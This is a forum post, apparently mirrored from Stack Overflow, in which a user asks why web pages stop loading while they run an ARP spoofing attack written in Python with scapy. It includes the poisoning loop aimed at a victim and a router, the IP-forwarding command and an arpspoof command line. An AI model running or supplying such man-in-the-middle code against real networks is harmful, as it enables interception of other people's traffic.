[Python] Pages are not loading while doing a spoofing attack using scapy

Discussão em 'Python' iniciado por Stack, Março 23, 2025.

  1. Stack

    Stack Membro Participativo

    I am trying to conduct a spoofing attack using scapy. Here is my code:

    import scapy.all as scapy
    from scanner import scan

    #NOTE: The scanner module takes in an IP Address and finds the
    #corresponding Mac Address for it.

    def spoof(target_ip, spoof_ip, mac_address) :
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
    scapy.send(packet, verbose = False)

    router_mac_address = scan(<victim's_ip>)
    target_mac_address = scan(<router's_ip>)

    while True :
    spoof(<victim's_ip>, <router's_ip>, target_mac_address)
    spoof(<router's_ip>, <victim's_ip>, router_mac_address)
    time.sleep(2)


    I enable ip forwarding by typing: echo 1 > /proc/sys/net/ipv4/ip_forward in the terminal. It does not work. The webpages aren't loading, the websites aren't responding, and I have no idea what to do. I have also tried typing this command: echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward, and still, it does not work. The webpages are not responding on any device I try.

    I should add that when I run an arp - spoofing attack using the command line (arpspoof -i eth0 -t <router's ip> <victim's ip>) while enabling ip_forwarding, everything works fine, and the pages load.

    What am I doing wrong here?? Why aren't the IP's being forwarded??

    Continue reading...

Compartilhe esta Página